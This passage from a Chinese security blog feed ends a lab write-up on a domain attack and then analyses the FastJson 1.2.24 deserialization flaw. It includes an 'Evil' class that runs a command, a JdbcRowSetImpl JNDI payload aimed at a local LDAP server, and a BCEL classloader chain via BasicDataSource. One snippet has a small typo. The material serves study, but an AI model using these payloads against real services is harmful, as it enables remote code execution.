href="https://github.com/topotam/PetitPotam">https://github.com/topotam/PetitPotam</a><br>用到的是这个工具</p><h3 id="为什么不能直接搞DC"><a class="headerlink" href="#为什么不能直接搞DC"></a>为什么不能直接搞DC</h3><p>因为目前只发现这一个用户，而且MAQ=0，MAQ就是域中允许计算器账户的数量限制，如果设置为0，那么就没有办法往域中添加计算机账户，impacket的addcomputer有两种方法<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081930310.png" alt="image.png" loading="lazy"><br>samr受到MAQ=0的限制，ldaps因为没有TLS，所以都用不了<br>域控存在nopac，但是当前用户对域内没有creatchild的ACL,而且甚至对当前机器没有WriteDacl权限，那么就没有办法修改SanAccountName，这个可以参考这篇文章<br><a href="https://xz.aliyun.com/t/9997?time__1311=n4%2BxnD0DuDRDcGiGCCD%2Fia4BKPxxj22rTMkdTD#toc-10">https://xz.aliyun.com/t/9997?time__1311=n4%2BxnD0DuDRDcGiGCCD%2Fia4BKPxxj22rTMkdTD#toc-10</a></p><h3 id="RBCD攻击"><a class="headerlink" href="#RBCD攻击"></a>RBCD攻击</h3><p>建议学习这篇文章<br><a href="https://blog.csdn.net/huohaowen/article/details/139206002">https://blog.csdn.net/huohaowen/article/details/139206002</a></p>]]></content>
<summary type="html"><h2 id="flag01"><a class="headerlink" href="#flag01"></a>flag01</h2>
<p>8080端口，猜测tomcat,扫一下目录<br>
发现docs目录，进去看发现该tomcat版本存在文件读取，于是尝试攻击<br>
<</summary>
<category term="渗透测试" scheme="http://fault123.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
<category term="域相关" scheme="http://fault123.github.io/tags/%E5%9F%9F%E7%9B%B8%E5%85%B3/"/>
<category term="春秋云境" scheme="http://fault123.github.io/tags/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83/"/>
</entry>
<entry>
<title>FastJson-1.2.24版本漏洞分析</title>
<link href="http://fault123.github.io/2024/10/16/FastJson-1.2.24%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
<id>http://fault123.github.io/2024/10/16/FastJson-1.2.24%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</id>
<published>2024-10-15T16:00:00.000Z</published>
<updated>2024-10-17T11:41:38.668Z</updated>
<content type="html"><![CDATA[<p>我们在JSON.parseObject上打断点，跟进到这里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410151838247.png" alt="image.png" loading="lazy"><br>然后跟进到JSONScanner<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410151838562.png" alt="image.png" loading="lazy"></p><p>到这个位置时token为12<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410151916553.png" alt="image.png" loading="lazy"><br>！！！我是煞笔！我没有仔细调试和看就说调不出来<br>上面那个截图取自我看的笔记，但是到我这里的代码长这个样子<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410151923131.png" alt="image.png" loading="lazy"><br>我当时看到没有12就武断的认为自己代码的版本有问题，但是其实没有问题，因为如果我但凡在调试的时候在这个位置进行跟进， 也不会没有发现它这里代码重构成了这样<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410151925843.png" alt="image.png" loading="lazy"><br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410151926184.png" alt="image.png" loading="lazy"><br>我就说哪里莫名其妙来的这个12<br>然后我们继续跟进<br>由于token是12，于是走到了这里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410151930504.png" alt="image.png" loading="lazy"><br>然后在这里的时候我并没有如预期一样走到了case 12的里面，经过我三次调试后还是没有找到parse这个方法在parseObject的这个重写方法中使用，于是我继续查找，发现存在在parseObject的这个重写方法中<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410152156952.png" alt="image.png" loading="lazy"><br>之后我们一路跟进，走到case 12这里，然后我们进到parseObject中<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410151947979.png" alt="image.png" loading="lazy"><br>到这里的时候发现是对json进行一系列的操作<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410152157721.png" alt="image.png" loading="lazy"><br>这时这里的key已经是<code>@type</code>了，然后我们继续跟进，发现下面还判定了对于开头是不是<code>@type</code> 的<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410152202070.png" alt="image.png" loading="lazy"></p><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410152202225.png" alt="image.png" loading="lazy"><br>然后我们发现它再次调用了scanSymbol，然后调用了类的加载器，之后进了loadClass这个方法， 这个方法首先判断mapping是否存在，然后如果存在就返回这个mapping的clazz对象<br>然后我们继续跟进，走到了获取反序列化构造器这里<br>然后继续跟进deserialize方法<br>然后跟进它重写方法里的方法<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410152217619.png" alt="image.png" loading="lazy"><br>发现就是通过循环去遍历它，然后解析key和value<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410161519356.png" alt="image.png" loading="lazy"><br>之后我们会到parseField方法中，之后又DefaultDeserializer类的this.setValue方法，<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410161523428.png" alt="image.png" loading="lazy"><br>然后我们走到setValue这里，<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410161952351.png" alt="image.png" loading="lazy"><br>发现这里调用了invoke<br>之后我们一路返回我们反序列化好的类，然后到这里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410161959438.png" alt="image.png" loading="lazy"><br>之后我们发现如果经过parse函数解析后的结果是属于JsonObject的，那么就直接返回，如果不是，则需要调用toJSON方法来让它变成JSONObject<br>之前在反序列化时调用的都是set方法，而在toJSON中，我们调用的都是get方法<br>然后就结束了</p><h2 id="问题调试"><a class="headerlink" href="#问题调试"></a>问题调试</h2><p>在这里我发现进不去deserializer，也就是这里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410161824960.png" alt="image.png" loading="lazy"><br>就是如果这里我接着往下找，非但走不到下面，我甚至看不到它里面的东西，之后看了白日梦组长师傅的视频发现是因为我的asmEnable是开着的，所以这里会走到asm的deserializer中，于是我们需要把它关闭从而使他能走出来，于是他在<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410161826970.png" alt="image.png" loading="lazy"><br>这个位置发现了对于通过判断getOnly值从而实现对asmEnable的赋值，于是开始查找在哪里可以实现对getOnly等于true的赋值，经过查找后发现在这里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410161828368.png" alt="image.png" loading="lazy"><br>那么我们就要走到这里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410161831572.png" alt="image.png" loading="lazy"><br>最后发现我们需要不满足getParameterType == 1，但是我们在build javaBean的时候的顺序是先通过for循环遍历set开头的方法，再遍历Field，之后再遍历get开头的方法，和Field，于是我们发现在set方法的这里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410161836529.png" alt="image.png" loading="lazy"><br>设置了一个check需要让getParameterType的值等于1，所以我们需要写一个只有get没有set方法的类来让我们的asmEnable关闭，从而走到Java的类中<br>于是我们将我们的代码改成这样</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSONObject;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.parser.Feature;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.serializer.SerializerFeature;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Person</span> {</span><br><span class="line"> <span class="keyword">private</span> <span class="type">int</span> age;</span><br><span class="line"> <span class="keyword">private</span> String name;</span><br><span class="line"> <span class="keyword">private</span> Map map;</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">Person</span><span class="params">()</span> {</span><br><span class="line"> System.out.println(<span class="string">"构造函数"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getAge</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> age;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setAge</span><span class="params">(<span class="type">int</span> age)</span> {</span><br><span class="line"> <span class="built_in">this</span>.age = age;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> Map <span class="title function_">getMap</span><span class="params">()</span> {</span><br><span class="line"> System.out.println(<span class="string">"Map"</span>);</span><br><span class="line"> <span class="keyword">return</span> map;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span>{</span><br><span class="line"><span class="comment">// Person person = new Person();</span></span><br><span class="line"><span class="comment">// person.setAge(21);</span></span><br><span class="line"><span class="comment">// System.out.println(JSON.toJSONString(person, SerializerFeature.WriteClassName));</span></span><br><span class="line"><span class="comment">// Person obj = JSON.parseObject("{\"@type\":\"org.example.Person\",\"age\":21}", Person.class, Feature.SupportNonPublicField);</span></span><br><span class="line"> JSON.parseObject(<span class="string">"{\"@type\":\"org.example.Person\",\"age\":21}"</span>);</span><br><span class="line"><span class="comment">// System.out.println(obj.getAge());</span></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这时候再走到这里时，就可以成功的进入deserializer方法中了<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410161840909.png" alt="image.png" loading="lazy"><br>至于为什么我要添加一个Map类型可以看这里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410161938356.png" alt="image.png" loading="lazy"><br>我们需要进入这个add，所以我们需要确保自己创建的类型属于这几个其中一个<br>到这里，我们大概总结一下，就是我们在解析parseObject的时候先把参数当作字符串去解析，然后如果发现有<code>@type</code>字段，就把它的值当java类去解析，刚刚所作的一切都是为了让我们拿到反序列化的构造器</p><h2 id="为什么FastJson会有RCE问题"><a class="headerlink" href="#为什么FastJson会有RCE问题"></a>为什么FastJson会有RCE问题</h2><p>第一就是它对于<code>@type</code>类型的解析，它用它的反序列化器去解析会调用它的构造方法<br>其次就是它在调用parse时会调用setter方法，在toJSON时会调用getter方法，或者是如果某个变量满足<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162008593.png" alt="image.png" loading="lazy"><br>那么也是可以通过调用非asm中的deserializer来调用getter的<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162012054.png" alt="image.png" loading="lazy"><br>就像这样，如果满足特定类型，它的getter也会呗调用<br>总之最后解释下来就是如果有某个类中有set方法，而且它符合我们刚才说的那几个条件且带有恶意代码， 那么我们就可以通过反序列化这个getter来远程执行代码，我们写一个evil类如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.DOM;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.TransletException;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.serializer.SerializationHandler;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Evil</span> <span class="keyword">extends</span> <span class="title class_">AbstractTranslet</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">Evil</span><span class="params">()</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"calc"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(DOM document, SerializationHandler[] handlers)</span> <span class="keyword">throws</span> TransletException {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(com.sun.org.apache.xalan.internal.xsltc.DOM document, DTMAxisIterator iterator, SerializationHandler handler)</span> <span class="keyword">throws</span> TransletException {</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="type">Evil</span> <span class="variable">t</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Evil</span>();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setCmd</span><span class="params">()</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"calc"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后我们继续加载</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSONObject;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.parser.Feature;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.serializer.SerializerFeature;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Person</span> {</span><br><span class="line"> <span class="keyword">private</span> <span class="type">int</span> age;</span><br><span class="line"> <span class="keyword">private</span> String name;</span><br><span class="line"> <span class="keyword">private</span> Map map;</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">Person</span><span class="params">()</span> {</span><br><span class="line"> System.out.println(<span class="string">"构造函数"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getAge</span><span class="params">()</span> {</span><br><span class="line"> System.out.println(<span class="string">"getAge"</span>);</span><br><span class="line"> <span class="keyword">return</span> age;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setAge</span><span class="params">(<span class="type">int</span> age)</span> {</span><br><span class="line"> <span class="built_in">this</span>.age = age;</span><br><span class="line"> System.out.println(<span class="string">"setAge"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> Map <span class="title function_">getMap</span><span class="params">()</span> {</span><br><span class="line"> System.out.println(<span class="string">"getMap"</span>);</span><br><span class="line"> <span class="keyword">return</span> map;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span>{</span><br><span class="line"><span class="comment">// Person person = new Person();</span></span><br><span class="line"><span class="comment">//// person.setAge(21);</span></span><br><span class="line"><span class="comment">// System.out.println(JSON.toJSONString(person, SerializerFeature.WriteClassName));</span></span><br><span class="line"><span class="comment">// Person obj = JSON.parseObject("{\"@type\":\"org.example.Person\",\"age\":21}", Person.class, Feature.SupportNonPublicField);</span></span><br><span class="line"> JSON.parseObject(<span class="string">"{\"@type\":\"org.example.Evil\",\"age\":21,\"map\":{}}"</span>);</span><br><span class="line"><span class="comment">// System.out.println(obj.getAge());</span></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>可以看到我们成功的在电脑中弹出了计算器<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162016697.png" alt="image.png" loading="lazy"><br>OK说完这一串儿，我们来进入今天的正题，也就是fastJson-1.2.24版本的漏洞</p><h2 id="fastJson-1-2-24"><a class="headerlink" href="#fastJson-1-2-24"></a>fastJson-1.2.24</h2><h3 id="JNDI注入"><a class="headerlink" href="#JNDI注入"></a>JNDI注入</h3><p>这里直接进入正题，就是在这个JdbcRowSet中找到了一个实现类在sun.rowset中，其中有一个connect类实现了<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162043855.png" alt="image.png" loading="lazy"><br>经过追踪后发现这个lookup中的字符串是可控的，那么我们就需要找到这个类然后去看看它的调用<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162045373.png" alt="image.png" loading="lazy"><br>根据我自己的理解，我选择了这个类<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162045926.png" alt="image.png" loading="lazy"><br>很好，经过一番查找，我没有找到这个类有任何set方法，于是也就符合我们的情况，某个类中只有getter，但是最可惜的是它的返回值并不是我们的特殊类型，所以其实这个是没有办法利用的<br>也就是，如果我们要走到toJson前提是前面那一段不能出错，所以我们还是选择后面那个，最后的payload如下<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162104261.png" alt="image.png" loading="lazy"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"ldap://127.0.0.1:8085/dEZDkprz","AutoCommit":false}</span><br></pre></td></tr></table></figure><blockquote><p>缺点：受依赖和版本限制，且需要出网</p></blockquote><h3 id="Util-Classloader"><a class="headerlink" href="#Util-Classloader"></a>Util.Classloader</h3><p>这个链子是因为<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162116126.png" alt="image.png" loading="lazy"><br>这个里面有一个ClassLoader类，会对符合条件的类进行动态加载<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162116927.png" alt="image.png" loading="lazy"><br>那么我们先尝试吧<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162132679.png" alt="image.png" loading="lazy"><br>此时代码如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.bcel.internal.classfile.Utility;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.bcel.internal.util.ClassLoader;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileNotFoundException;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FastJsonJdbcRowSetImpl</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {</span><br><span class="line"> <span class="type">ClassLoader</span> <span class="variable">classloader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ClassLoader</span>();</span><br><span class="line"> <span class="type">byte</span>[] bytes = convert(<span class="string">"D:\\知识库\\CTF\\WEB\\web_year2\\Java学习代码\\fastjson_learning\\fastjson_learning\\target\\classes\\org\\example\\Evil.class"</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">code</span> <span class="operator">=</span> Utility.encode(bytes,<span class="literal">true</span>);</span><br><span class="line"> classloader.loadClass(<span class="string">"$$BCEL$$"</span>+code).newInstance();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] convert(String fileName) {</span><br><span class="line"> <span class="type">File</span> <span class="variable">file</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(fileName);</span><br><span class="line"> <span class="keyword">try</span> (<span class="type">FileInputStream</span> <span class="variable">fis</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(file)) {</span><br><span class="line"> <span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[(<span class="type">int</span>) file.length()];</span><br><span class="line"> fis.read(bytes);</span><br><span class="line"> <span class="keyword">return</span> bytes;</span><br><span class="line"> } <span class="keyword">catch</span> (FileNotFoundException e) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeExcept</span>(e);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>接下来我们看看有没有地方调用LoadClass<br>最后我们找到了这里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162139337.png" alt="image.png" loading="lazy"><br>就是如果我们把driverClassLoader换成我们之前看到的那个classloader，那么我们这里就走下去了<br>所以我们要看的就是这两个参数是否可控<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162144191.png" alt="image.png" loading="lazy"><br>最后我们发现其实是可控的<br>于是我们继续向上找<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162147036.png" alt="image.png" loading="lazy"><br>然后我们找到了这里，然后继续往上找<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162149493.png" alt="image.png" loading="lazy"><br>之后我们就找到了这里<br>然后我们编写测试代码<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410162153521.png" alt="image.png" loading="lazy"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.bcel.internal.classfile.Utility;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.bcel.internal.util.ClassLoader;</span><br><span class="line"><span class="keyword">import</span> org.apache.tomcat.dbcp.dbcp2.BasicDataSource;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileNotFoundException;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.sql.SQLException;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FastJsonJdbcRowSetImpl</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {</span><br><span class="line"> <span class="type">ClassLoader</span> <span class="variable">classloader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ClassLoader</span>();</span><br><span class="line"> <span class="type">byte</span>[] bytes = convert(<span class="string">"D:\\知识库\\CTF\\WEB\\web_year2\\Java学习代码\\fastjson_learning\\fastjson_learning\\target\\classes\\org\\example\\Evil.class"</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">code</span> <span class="operator">=</span> Utility.encode(bytes,<span class="literal">true</span>);</span><br><span class="line"><span class="comment">// classloader.loadClass("$$BCEL$$"+code).newInstance();</span></span><br><span class="line"> <span class="type">BasicDataSource</span> <span class="variable">basicDataSource</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BasicDataSource</span>();</span><br><span class="line"> basicDataSource.setDriverClassLoader(classloader);</span><br><span class="line"> basicDataSource.setDriverClassName(<span class="string">"$$BCEL$$"</span>+code);</span><br><span class="line"> basicDataSource.getConnection();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] convert(String fileName) {</span><br><span class="line"> <span class="type">File</span> <span class="variable">file</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(fileName);</span><br><span class="line"> <span class="keyword">try</span> (<span class="type">FileInputStream</span> <span class="variable">fis</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(file)) {</span><br><span class="line"> <span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[(<span class="type">int</span>) file.length()];</span><br><span class="line"> fis.read(bytes);</span><br><span class="line"> <span class="keyword">return</span> bytes;</span><br><span class="line"> } <span class="keyword">catch</span> (FileNotFoundException e) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span 